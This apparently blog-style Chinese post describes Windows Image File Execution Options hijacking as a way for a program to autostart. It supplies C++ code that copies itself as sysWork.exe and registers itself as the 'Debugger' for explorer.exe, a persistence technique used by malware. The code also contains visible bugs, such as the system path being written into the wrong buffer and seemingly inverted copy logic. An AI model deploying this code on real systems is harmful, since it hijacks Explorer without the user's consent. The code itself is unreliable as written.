美文网首页
安全之路 —— 通过映像劫持实现文件自启动

安全之路 —— 通过映像劫持实现文件自启动

作者: PeterZ1997 | 来源:发表于2018-08-14 00:27 被阅读0次

    简介

    Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。
    实现映像劫持修改的注册表项为:
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options",在项下添加新的子键,名为替代启动的目标进程名,例如"cmd.exe",然后创建新的值项为"Debugger",值为新的进程路径。

    C++代码样例

    ////////////////////////////////////////////////
    //
    // FileName : ifeoDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-5 18:44
    // Comment : Image File Hijacking Demo
    //
    ////////////////////////////////////////////////
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <iostream>
    #include <windows.h>
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;
    BOOL g_fileExistFlag = false;
    
    /**
     * @brief 封装字符型注册表操作
     * @param hRoot root key
     * @param szSubKey sub key after the root key
     * @param szValueName key name
     * @param szData key Data
     * @return Boollean Value
     */
    BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        CHAR szSystemFilePath[MAX_COUNT] = "\0";
        CHAR szSelfFilePath[MAX_COUNT] = "\0";
        CHAR szExplorerPath[MAX_COUNT] = "\0";
        GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));
        strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\\Windows\\explorer.exe");
        strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\\sysWork.exe");
        GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));
        if (!CopyFile(szSelfFilePath, szSystemFilePath, true))
        {
            setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe", "Debugger", "");
            WinExec(szExplorerPath, SW_SHOW);
        }
        setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe", "Debugger", szSystemFilePath);
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        ExitProcess(0);
        return 0;
    }
    

    相关文章

      网友评论

          本文标题:安全之路 —— 通过映像劫持实现文件自启动

          本文链接:https://www.haomeiwen.com/subject/yitybftx.html